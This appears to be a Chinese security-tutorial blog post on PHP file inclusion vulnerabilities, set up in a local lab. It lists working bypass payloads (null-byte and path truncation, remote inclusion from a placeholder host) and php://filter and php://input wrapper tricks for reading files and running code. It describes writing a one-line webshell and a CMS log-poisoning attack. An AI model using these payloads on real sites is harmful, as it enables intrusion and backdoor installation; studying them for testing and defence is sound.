第十三天 文件包含漏洞

一、先了解include、require、include_once、require_once

include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中

include 和 require 语句是相同的除了错误处理方面:

(1)require 会生成致命错误(E_COMPILE_ERROR)并停止脚本
(2)include 只生成警告(E_WARNING),并且脚本会继续

语法: include 'filename’

比如现在有一个footer.php的文件↓
在这里插入图片描述
现在在另一个页面想把引用这个文件,则↓

<?php include 'footer.php'?> 就可以了

二、本地文件包含

做文件包含的演示时,都要在php.ini开启allow_url_include

首先在WWW目录下创建一个inc文件夹
在这里插入图片描述
然后再inc文件夹中创建一个include.php文件和index.txt文件
在这里插入图片描述
其中,include.php中写入代码↓(意思是通过get请求参数f的值,参数f的值是要引入的文件,例如?f=index.txt,就是把index.txt的内容引入到include.php这个页面,include.php就会显示phpinfo()的信息
在这里插入图片描述
index.txt写入↓(index.txt是被引入的文件内容
在这里插入图片描述

最终操作就是↓
在这里插入图片描述

三、本地文件包含(有限制时,限制只能包含html文件)

这时如何突破呢?↓

include.php?filename=index.txt%00

include.php?filename=index.txt/./. (windows加上256+,Linux加上4096+)

四、远程文件包含

在这里插入图片描述

五、远程文件包含(有限制只能包含html文件时)

那该如何突破呢?↓

include.php?filename=http://xxx.com/1.txt?
include.php?filename=http://xxx.com/1.txt%23(%23是#)
include.php?filename=http://xxx.com/1.txt%20(%20是空格)

六、伪协议

file://

ftp://

php://
等等…

而文件包含会用到的伪协议是:↓

file://(任意文件读取)
include.php?filename=file://C:\1.txt

php://filter(任意文件读取)
include.php?filename=php://filter/convert.base64-encode/resource=index.txt ↓
在这里插入图片描述

php://input(任意代码执行)
include.php?filename=php://input
POST DATA:<?php phpinfo(); ?>
常用于写入一句话后门
在这里插入图片描述
在这里插入图片描述
先新建了shell.php的文件,并在文件中写入了一句话木马,这样就可以拿shell了↑

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

易酷cms文件包含漏洞的挖掘(通过日志文件)

在这里插入图片描述
my/show/id/ 这是cms的一个模板(可以这样理解吧),不同的cms是不一样的,自己搜一下即可

然后↓
在这里插入图片描述
错误的信息就会写入到日志文件中↓
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值